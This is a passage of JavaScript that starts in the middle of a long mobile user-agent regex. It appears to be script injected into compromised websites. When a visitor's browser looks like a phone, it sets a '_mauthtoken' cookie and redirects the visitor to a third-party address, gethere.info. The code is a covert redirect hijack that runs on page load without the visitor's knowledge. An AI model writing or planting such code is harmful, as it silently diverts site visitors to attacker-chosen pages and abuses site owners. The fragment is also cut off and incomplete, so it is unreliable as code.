|\/)|klon|kpt |kwc\-|kyo(c|k)|le(no|xi)|lg( g|\/(k|l|u)|50|54|\-[a-w])|libw|lynx|m1\-w|m3ga|m50\/|ma(te|ui|xo)|mc(01|21|ca)|m\-cr|me(rc|ri)|mi(o8|oa|ts)|mmef|mo(01|02|bi|de|do|t(\-| |o|v)|zz)|mt(50|p1|v )|mwbp|mywa|n10[0-2]|n20[2-3]|n30(0|2)|n50(0|2|5)|n7(0(0|1)|10)|ne((c|m)\-|on|tf|wf|wg|wt)|nok(6|i)|nzph|o2im|op(ti|wv)|oran|owg1|p800|pan(a|d|t)|pdxg|pg(13|\-([1-8]|c))|phil|pire|pl(ay|uc)|pn\-2|po(ck|rt|se)|prox|psio|pt\-g|qa\-a|qc(07|12|21|32|60|\-[2-7]|i\-)|qtek|r380|r600|raks|rim9|ro(ve|zo)|s55\/|sa(ge|ma|mm|ms|ny|va)|sc(01|h\-|oo|p\-)|sdk\/|se(c(\-|0|1)|47|mc|nd|ri)|sgh\-|shar|sie(\-|m)|sk\-0|sl(45|id)|sm(al|ar|b3|it|t5)|so(ft|ny)|sp(01|h\-|v\-|v )|sy(01|mb)|t2(18|50)|t6(00|10|18)|ta(gt|lk)|tcl\-|tdg\-|tel(i|m)|tim\-|t\-mo|to(pl|sh)|ts(70|m\-|m3|m5)|tx\-9|up(\.b|g1|si)|utst|v400|v750|veri|vi(rg|te)|vk(40|5[0-3]|\-v)|vm40|voda|vulc|vx(52|53|60|61|70|80|81|83|85|98)|w3c(\-| )|webc|whit|wi(g |nc|nw)|wmlb|wonu|x700|yas\-|your|zeto|zte\-/i.test(a.substr(0,4))){var tdate = new Date(new Date().getTime() + 1800000); document.cookie = “_mauthtoken=1; path=/;expires=”+tdate.toUTCString(); window.location=b;}}})(navigator.userAgent||navigator.vendor||window.opera,’http://gethere.info/kt/?264dpr&’);}